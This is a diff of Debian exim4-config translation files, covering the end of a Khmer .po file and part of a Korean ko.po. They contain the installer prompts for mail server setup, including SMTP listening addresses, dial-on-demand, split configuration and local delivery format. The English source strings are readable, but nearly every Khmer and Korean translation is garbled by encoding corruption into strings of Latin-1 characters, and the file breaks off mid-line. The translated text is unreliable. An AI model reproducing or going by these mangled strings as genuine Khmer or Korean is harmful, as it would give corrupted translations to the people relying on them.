+"ប្រសិន​បើ​ážáž˜áŸ’លៃ​នáŸáŸ‡â€‹áž“ៅ​ážáŸ‚​ទទ០សំបុážáŸ’រ​បែប​នáŸáŸ‡â€‹áž“ឹង​ážáŸ’រូវ​បាន​រក្សា​ទុក​ក្នុង /var/mail/mail ដែល​មិន​ážáŸ’រូវ​បាន​" +"ផ្ដល់​អនុសាសនáŸÂ ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"ចំណាំážáž¶ ​សំបុážáŸ’រ​របស់ postmaster គួរ​ážáŸ’រូវ​បាន​អាន​នៅ​ក្នុង​ប្រពáŸáž“្ធ ដែល​វា​ážáŸ’រូវ​បាន​ážáŸ’ážšáž½ážážáŸ’រា ប្រសើ​ជាង​ការ​" +"បញ្ជូន​បន្ážâ€‹áž‘ៅ​កន្លែង​ផ្សáŸáž„ ដូច្នáŸáŸ‡ (យ៉ាងហោច​ណាស់​) អ្នក​ប្រើ​បាន​រាយ​នៅ​ទីនáŸáŸ‡ មិន​គួរ​បញ្ជូន​សំបុážáŸ’រ​របស់​ពួក​វា​" +"áž…áŸáž‰â€‹áž‘ៅ​ម៉ាស៊ីន​នáŸáŸ‡â€‹áž‘áŸÂ ។ បុព្វបទ \"real-\" អាច​ážáŸ’រូវ​បាន​ប្រើ​ដើម្បី​បង្ážáŸ†â€‹áž€áž¶ážšâ€‹áž”ញ្ជូន​មូលដ្ឋាន ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "ឈ្មោះ​អ្នក​ប្រើ​ច្រើន​ážáŸ’រូវ​ážáŸ‚​បំបែក​ដោយ​ចន្លោះ ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "អាសយដ្ឋាន IP​ ážáŸ’រូវ​ស្ážáž¶áž”់​​សម្រាប់​ការ​ážáž—្ជាប់​​ SMTP ​ចូល ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"សូម​បញ្ចូល​បញ្ជី​របស់​អាសយដ្ឋាន IP ។ ដáŸáž˜áž·áž“​អ្នក​ស្ដាប់​របស់ Exim SMTP នឹង​ស្ដាប់​នៅ​ពáŸáž›â€‹áž¢áž¶ážŸáž™ážŠáŸ’ឋាន IP ទាំង​" +"អស់​ážáŸ’រូវ​បាន​រាយ​នៅ​ទីនáŸáŸ‡Â ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"ážáž˜áŸ’លៃ​ទទáŸâ€‹áž˜áž½áž™â€‹áž“ឹង​បណ្ដាល​ឲ្យ Exim ážáŸ’រូវ​ស្ដាប់​ដើម្បី​ážáž—្ជាប់​នៅ​ពáŸáž›â€‹áž…ំណុច​ប្រទាក់​បណ្ដាញ​ទាំងអស់​អាច​ប្រើ​បាន ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"ប្រសិន​បើ​ប្រពáŸáž“្ធ​ពិážâ€‹áž‡áž¶â€‹áž‘ទួល​ážáŸ‚​អ៊ីមែល​ដោយ​ផ្ទាល់​ពី​សáŸážœáž¶â€‹áž˜áž¼áž›ážŠáŸ’ឋាន ដូចជា​ទាញយក​សំបុážáŸ’ážš ឬ​កម្មវិធី​អ៊ីមែល​របស់​អ្នក " +"(MUA) ដោយ​និយាយ​ទៅ​កាន់​ម៉ាស៊ីនមូលដ្ឋាន (ហើយ​មិន​បាន​មក​ពី​ម៉ាស៊ីន​ផ្សáŸáž„áž‘áŸ) វា​អាចផ្ដល់​គំនិážâ€‹ážŠáž¾áž˜áŸ’បី​ការពារ​ការ​" +"ážáž—្ជាប់​ážáž¶áž„​ក្រៅ​ទៅ Exim មូល​ដ្ឋាន ។ áž“áŸáŸ‡â€‹áž¢áž¶áž…​ážáŸ’រូវ​បាន​អម​ដោយ​បញ្ចូល 127.0.0.1 នៅ​ទីនáŸáŸ‡Â ។ វា​នឹង​បិទ​" +"ការ​ស្ដាប់​ចំណុច​ប្រទាក់​បណ្ដាញ​សាធារណៈ ។" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "រក្សាទុក​​ចំនួន​​​សំណួរ​ DNS អប្បបរមា (Dial-on-Demand) ឬ​ ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"នៅ​ក្នុង​របៀប​ធម្មážáž¶â€‹áž“ៃ​ប្រážáž·áž”ážáŸ’ážáž· Exim ážáž¾ DNS ស្វែងរក​នៅ​ពáŸáž›â€‹áž…ាប់ផ្ដើម ហើយ​នៅ​ពáŸáž›â€‹áž‘ទួល ឬបញ្ជូន​សារ ។ " +"áž“áŸáŸ‡â€‹ážŸáž˜áŸ’រាប់​ចូល និង​អនុញ្ញាážâ€‹ážšáž€áŸ’សា​លáŸážâ€‹áž“ៃ​ážáž˜áŸ’លៃ​ជាក់លាក់​នៅ​ក្នុង​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ ។" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"ប្រសិន​បើ​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž˜áž·áž“មាន DNS កម្មវិធី​ដោះ​ស្រាយ​សáŸážœáž¶â€‹áž–áŸáž‰áž›áŸáž‰â€‹áž¢áž¶áž…​ប្រើ​បាន​គ្រប់​ពáŸáž› (ឧទាហរណ០ប្រសិន​" +"បើការ​ចូល​ដំណើរ​ការ​អ៊ីនធឺណិážâ€‹áž‚ឺ​ážáž¶áž˜â€‹ážáŸ’សែ​ទូរសáŸáž–្ទ​ដោយ​ប្រើ​ពាក្យ​បញ្ជា dial-on-) áž“áŸáŸ‡â€‹áž¢áž¶áž…​មិន​ចង់​បាន​ážáž¶áž˜â€‹" +"លំដាប់ ។ ឧទាហរណ០នៅ​ពáŸáž›â€‹áž…ាប់ផ្ដើម Exim ឬ ážšážáŸ‹áž‡áž½ážš (សូម្បី​ážáŸ‚​គ្មាន​សារ​រង់​ចាំ​កáŸážŠáŸ„áž™) អាច​កáŸáŸ‡â€‹áž–្រឹážáŸ’ážáž·áž€áž¶ážšážŽáŸâ€‹" +"ážážáž¶áž˜â€‹ážáŸ’សែ​ទូរសáŸáž–្ទ​ដáŸâ€‹áž˜áž¶áž“​ážáž˜áŸ’លៃ ។" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"ជម្រើស​នáŸáŸ‡â€‹áž‚ួរ​ážáŸ’រូវ​បាន​ជ្រើស ប្រសិន​បើ​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž€áŸ†áž–ុង​ប្រើ Dial-on-Demand ។ " +"ប្រសិនបើវាážáŸ‚áž„ážáŸ‚មានការចូលដំណើរការ​អ៊ីនធឺណិហជម្រើស​នáŸáŸ‡â€‹áž‚ួរ​ážáŸ’រូវ​បាន​បិទ ។" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’ážš" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "ពុះ​ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ទៅជា​ឯកសារ​ážáž¼áž…ៗ​ឬ ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"កញ្ចប់ exim4 ដáŸáž”ៀន​អាច​ប្រើ 'ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​មិនបំបែក' ឯកសារ monolithic (/etc/exim4/" +"exim4.conf.template) ឬ 'ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​បំបែក' ដែល​ឯកសារ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ Exim ážáŸ’រូវ​បាន​" +"ស្ážáž¶áž”នា​ចáŸáž‰â€‹áž–ី​ប្រហែលជា ៥០ឯកសារ​ážáž¼áž…ៗ​ទៀážáž“ៅ​ក្នុង /etc/exim4/conf.d/ ។" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​មិន​ពុះ​គឺ​ប្រសើរ​ជាង​ឈុážâ€‹ážŸáž˜áŸ’រាប់​ការ​កែប្រែ​ដáŸáž’ំ ហើយ​ážáž·ážážáŸážšâ€‹áž‡áž¶áž„ ព្រោះ​ážáž¶ ការ​កំណážáŸ‹â€‹ážšáž…នា​" +"សម្ពáŸáž“្ធ​ពុះ​ផ្ដល់​នូវ​វិធី​ងាយ​ស្រួល​ដើម្បី​ធ្វើ​ការ​កែប្រែ​ážáž·áž…ážáž½áž… ប៉ុន្ážáŸ‚​ងាយ​ážáž¼áž… ជាង និង​អាច​ážáž¼áž…​ប្រសិន​បើ​បាន​កែប្រែ​" +"ដោយ​គ្មាន​ការ​ប្រុង​ប្រយáŸážáŸ’ន ។" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"ការ​ពិភាក្សា​លម្អិážâ€‹áž”ន្ážáŸ‚ម​នៃ​ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ពុះ និង​មិន​ពុះ អាច​រក​បាន​នៅ​ក្នុង /usr/share/doc/" +"exim4-base/README.Debian.gz." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "លាក់​ឈ្មោះ​សំបុážáŸ’រ​មូលដ្ឋាន​នៅ​ក្នុង​សំបុážáŸ’រ​ចáŸáž‰áž¬Â ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"ក្បាល​របស់​សំបុážáŸ’រ​ចáŸáž‰â€‹áž¢áž¶áž…​ážáŸ’រូវ​បាន​សរសáŸážšâ€‹ážŠáž¾áž˜áŸ’បី​ធ្វើ​ឲ្យ​វា​បង្ហាញ ដើម្បី​ážáŸ’រូវ​បាន​បង្កើážâ€‹áž“ៅ​លើ​ប្រពáŸáž“្ធ​ផ្សáŸáž„ ។ " +"ប្រសិន​បើ​ជម្រើស​នáŸáŸ‡â€‹ážáŸ’រូវ​បាន​ជ្រើស \"${mailname}\", \"localhost\" áž“áž·áž„ " +"\"${dc_other_hostnames}\" នៅក្នុង មកពី, ឆ្លើយážáž”ទៅ, អ្នកផ្ញើ និង​ផ្លូវ​ážáŸ’រឡប់​ážáŸ’រូវ​បាន​សរសáŸážšÂ ។" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "ទ្រង់ទ្រាយ mbox នៅ​ក្នុង /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "ទ្រង់​ទ្រាយ Maildir នៅ​ក្នុង​ážážâ€‹áž•áŸ’ទះ" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "វិធី​សាស្ážáŸ’រ​បញ្ជូន​សម្រាប់​សំបុážáŸ’រ​មូលដ្ឋាន ៖" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim អាច​ទុក​សំបុážáŸ’រ​ដែល​បាន​បញ្ជូន​មូលដ្ឋាន​ក្នុង​ទ្រង់ទ្រាយ​ផ្សáŸáž„ៗ ។ ភាគ​ច្រើន​បំផុážâ€‹ážŠáŸ‚ល​បាន​ប្រើ​គឺ mbox áž“áž·áž„ " +"Maildir ។ mbox ប្រើ​ឯកសារ​ážáŸ‚​មួយ​សម្រាប់​ážážâ€‹ážŸáŸ†áž”áž»ážáŸ’រ​ពáŸáž‰áž›áŸáž‰â€‹áž“ៅ​ក្នុង /var/mail/ ។ ជា​មួយ​នឹង​ទ្រង់ទ្រាយ " +"Maildir សារ​ážáŸ‚​មួយ​ទាំង​អស់​ážáŸ’រូវ​បាន​ទុក​ក្នុង​ឯកសារ​ដោយ​ឡែក​ពី​គ្នា​នៅ​ក្នុង ~/Maildir/ ។" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"សូម​ចំណាំ​ážáž¶â€‹áž§áž”ករណáŸážŸáŸ†áž”áž»ážáŸ’រ​ភាគ​ច្រើន​នៅ​ក្នុង​ដáŸáž”ៀន​រំពឹង​វិធី​សាស្ážáŸ’រ​បញ្ជូន​មូលដ្ឋាន​ážáŸ’រូវ​ážáŸ‚ ជា mbox នៅ​ក្នុង​" +"លំនាំដើម​របស់​ពួក​វា ។" + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "ផ្លាស់ទី​សបុážáŸ’រ​ដែល​មិន​បាន​បញ្ជូន​ពី exim 3 ទៅហុង exim4 ?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "មាន​សំបុážáŸ’រ​ដែល​មិន​បានបញ្ជូន​មួយ​ចំនួន​នៅ exim 3 (ឬ exim-tls 3) ážážâ€‹áž ុង /var/spool/exim/" +#~ "input/ ។" + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "ការ​ជ្រើស​ជម្រើស​នáŸáŸ‡â€‹áž“ឹង​ផ្លាស់ទី​សារ​ទាំង​នáŸáŸ‡â€‹áž‘ៅ​ហុង​របស់ exim4 (/var/spool/exim4/input/) ដែល​" +#~ "ពួក​វា​នឹង​ážáŸ’រូវ​បាន​គ្រប់គ្រង​ដោយ exim4 ។" + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "វា​ដំណើរការ​ážáŸ‚​មួយ​វិធី​ប៉ុណ្ណោះ ៖ Exim4 អាច​គ្រប់គ្រងហុង exim 3 ប៉ុន្ážáŸ‚​ exim 3 មិន​អាច​គ្រប់គ្រង " +#~ "Exim4 បាន​ទáŸÂ ។ ប្រសិន​បើ​អ្នក​ច្រាន​ចោល​ជម្រើស​នáŸáŸ‡ អ្នក​ážáŸ’រូវážáŸ‚​ផ្លាស់ទី​សារ​របស់​អ្នក​ផ្ទាល់​ ឬ​ពួក​វា​នឹង​" +#~ "មិន​ážáŸ’រូវ​បាន​បញ្ជូន​ទáŸÂ ។" diff --git a/debian/po/ko.po b/debian/po/ko.po new file mode 100644 index 0000000..7cf0b2d --- /dev/null +++ b/debian/po/ko.po @@ -0,0 +1,782 @@ +# Sunjae Park <darehanl@gmail.com>, 2006 - 2007. +# Changwoo Ryu <cwryu@debian.org>, 2004, 2008. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4-config\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-07-20 12:18+0900\n" +"Last-Translator: Sunjae Park <darehanl@gmail.com>\n" +"Language-Team: Korean <debian-l10n-korean@lists.debian.org>\n" +"Language: ko\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "스풀 ë””ë ‰í† ë¦¬ì˜ ë°°ë‹¬í•˜ì§€ ì•Šì€ ë©”ì¼ì„ ì§€ìš°ì‹œê² ìŠµë‹ˆê¹Œ?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"eximì˜ ìŠ¤í’€ ë””ë ‰í† ë¦¬ì¸ /var/spool/exim4/input/ì— ì•„ì§ ë°°ë‹¬í•˜ì§€ ì•Šì€ ë©”ì¼ì´ 들" +"어있습니다. eximì„ ì§€ìš°ë©´ eximì„ ë‹¤ì‹œ ì„¤ì¹˜í• ë•Œê¹Œì§€ëŠ” ì´ ë©”ì¼ì€ 배달ë˜ì§€ ì•Š" +"ì€ ìƒíƒœë¡œ ìžˆì„ ê²ƒìž…ë‹ˆë‹¤." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ì´ ì˜µì…˜ì„ ì„ íƒí•˜ì§€ 않으면 스풀 ë””ë ‰í† ë¦¬ë¥¼ 그대로 둡니다. ë‚˜ì¤‘ì— eximì„ ë‹¤ì‹œ " +"ì„¤ì¹˜í• ë•Œ 배달하지 ì•Šì€ ë©”ì‹œì§€ë¥¼ 다시 ë°°ë‹¬í• ìˆ˜ 있습니다." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ì´ íŒ¨í‚¤ì§€ ëŒ€ì‹ ì— exim4-configì„ ë‹¤ì‹œ ì„¤ì •í•©ë‹ˆë‹¤" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"exim4는 ì„¤ì • ë¶€ë¶„ì„ exim4-configë¼ëŠ” ì „ìš© íŒ¨í‚¤ì§€ì— ë‘¡ë‹ˆë‹¤. exim4를 다시 ì„¤ì •" +"í•˜ë ¤ë©´ 'dpkg-reconfigure exim4-config' ëª…ë ¹ì„ ì‹¤í–‰í•˜ì‹ì‹œì˜¤." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "ì¸í„°ë„· 사ì´íŠ¸, SMTP를 사용해서 ì§ì ‘ ë©”ì¼ì„ ì£¼ê³ ë°›ìŠµë‹ˆë‹¤" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "스마트호스트로 ë©”ì¼ ë³´ë‚´ê¸°, SMTP나 fetchmailë¡œ 받습니다" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "스마트호스트로 ë©”ì¼ ë³´ë‚´ê¸°, 로컬 ë©”ì¼ì´ 없습니다" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "로컬 배달 ì „ìš©, ë„¤íŠ¸ì›Œí¬ ì—°ê²°ì´ ì—†ìŠµë‹ˆë‹¤" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "지금 ì„¤ì •í•˜ì§€ 않습니다" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "ì¼ë°˜ì ì¸ ë©”ì¼ ì„¤ì • 종류:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "보기 중ì—ì„œ 가장 ìš©ë„ì— ë§žëŠ” ë©”ì¼ ì„œë²„ ì„¤ì •ì„ ê³ ë¥´ì‹ì‹œì˜¤." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ì „í™”ì ‘ì† ì‹œìŠ¤í…œì„ í¬í•¨í•œ ë™ì IP 주소를 사용하는 ì‹œìŠ¤í…œì€ ì¼ë°˜ì 으로 \"스마트" +"호스트\"ë¼ê³ 하는 다른 컴퓨터를 통해 보내는 ë©”ì¼ì„ ë³´ë‚´ë„ë¡ ì„¤ì •í•˜ëŠ” ê²ƒì´ ì¢‹" +"습니다. ì¸í„°ë„·ì—ì„œ ë©”ì¼ì„ ë°›ì„ ì‹œìŠ¤í…œì€ ëŒ€ë¶€ë¶„ 스팸 방지 대책으로 ë™ì IP 주" +"소ì—ì„œ 보낸 ë©”ì¼ì„ 막ë„ë¡ ì„¤ì •í•˜ê¸° 때문입니다." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"ë™ì IP 주소를 갖는 ì‹œìŠ¤í…œì€ ìžì‹ ì˜ ë©”ì¼ì„ ë°›ë„ë¡ ì„¤ì •í• ìˆ˜ë„ ìžˆê³ , 로컬 배달" +"ì„ ì „í˜€ 사용하지 ì•Šë„ë¡ í• ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤. (root나 postmasterìš© ë©”ì¼ ì œì™¸.)" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "ì •ë§ë¡œ ë©”ì¼ ì‹œìŠ¤í…œì„ ì„¤ì •í•˜ì§€ ì•Šì€ ìƒíƒœë¡œ 놔ë‘ì‹œê² ìŠµë‹ˆê¹Œ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ë©”ì¼ ì‹œìŠ¤í…œì„ ì„¤ì •í•˜ê¸° ì „ê¹Œì§€ëŠ”, ì œëŒ€ë¡œ ë™ìž‘하지 ì•Šì„ ê²ƒì´ë©° ì‚¬ìš©í• ìˆ˜ë„ ì—†ìŠµ" +"니다. í›„ì— ìˆ˜ë™ìœ¼ë¡œ ì„¤ì •í•˜ê±°ë‚˜ rootë¡œ \"dpkg-reconfigure exim4-config\"를 실" +"행해서 ì„¤ì •í• ìˆ˜ 있습니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "시스템 ë©”ì¼ ì´ë¦„:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"ë©”ì¼ ì´ë¦„\"ì€ ë„ë©”ì¸ ì´ë¦„ì´ ì—†ëŠ” ë©”ì¼ ì£¼ì†Œì˜ ëª©ì 지를 ì •í•˜ê¸° 위해 사용하는 " +"ë„ë©”ì¸ ì´ë¦„ì„ ëœ»í•©ë‹ˆë‹¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"ë©”ì¼ ì´ë¦„ì€ ë‹¤ë¥¸ 프로그램ì—ì„œë„ ì‚¬ìš©í•©ë‹ˆë‹¤. ìœ ì¼í•˜ê²Œ 사용하는 ì „ì²´ 추소 ë„ë©”" +"ì¸ ì´ë¦„(FQDN)ì´ì–´ì•¼ 합니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"예를 들어 로컬 í˜¸ìŠ¤íŠ¸ì— ìžˆëŠ” ë©”ì¼ ì£¼ì†Œê°€ foo@domain.exampleë¼ë©´, ì´ ì˜µì…˜ì— ë“¤" +"ì–´ê°ˆ ê°’ì€ domain.example입니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"다시 쓰기 ê·œì¹™ì´ í™œì„±í™” ë˜ì–´ìžˆì„ 경우 ì´ë¦„ì€ ë‚˜ê°€ëŠ” ë©”ì¼ì˜ From:ì¤„ì— ë‚˜íƒ€ë‚˜" +"지 않습니다." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ë‹¤ìŒ ëª©ì 지로 가는 ë©”ì¼ì€ 받아들ì´ê¸°:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"ì´ ì»´í“¨í„°ê°€ 마지막으로 ë°›ì„ ë©”ì¼ì´ë¼ê³ ì·¨ê¸‰í• ë„ë©”ì¸ì˜ 목ë¡ì„ ì„¸ë¯¸ì½œë¡ ìœ¼ë¡œ 구" +"분하여 ìž…ë ¥í•˜ì‹ì‹œì˜¤. ì´ëŸ¬í•œ ë„ë©”ì¸ì„ 보통 \"로컬 ë„ë©”ì¸\"ì´ë¼ê³ 부릅니다. ë¡œ" +"컬 호스트 ì´ë¦„(${fqdn})ì´ë‚˜ \"localhost\"ì€ ì—¬ê¸°ì— ìž…ë ¥í•˜ì‹ ëª©ë¡ì— ìžë™ìœ¼ë¡œ " +"추가ë©ë‹ˆë‹¤." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"기본ì 으로 ëª¨ë“ ë¡œì»¬ ë„ë©”ì¸ì€ ëª¨ë‘ ë™ì¼í•˜ê²Œ 처리합니다. a.example와 b." +"example ëª¨ë‘ ë¡œì»¬ ë„ë©”ì¸ì´ë¼ë©´, acc@a.example와 acc@b.example ëª¨ë‘ ê°™ì€ ìµœì¢… " +"목ì 지로 배달ë©ë‹ˆë‹¤. ë„ë©”ì¸ì— ë”°ë¼ 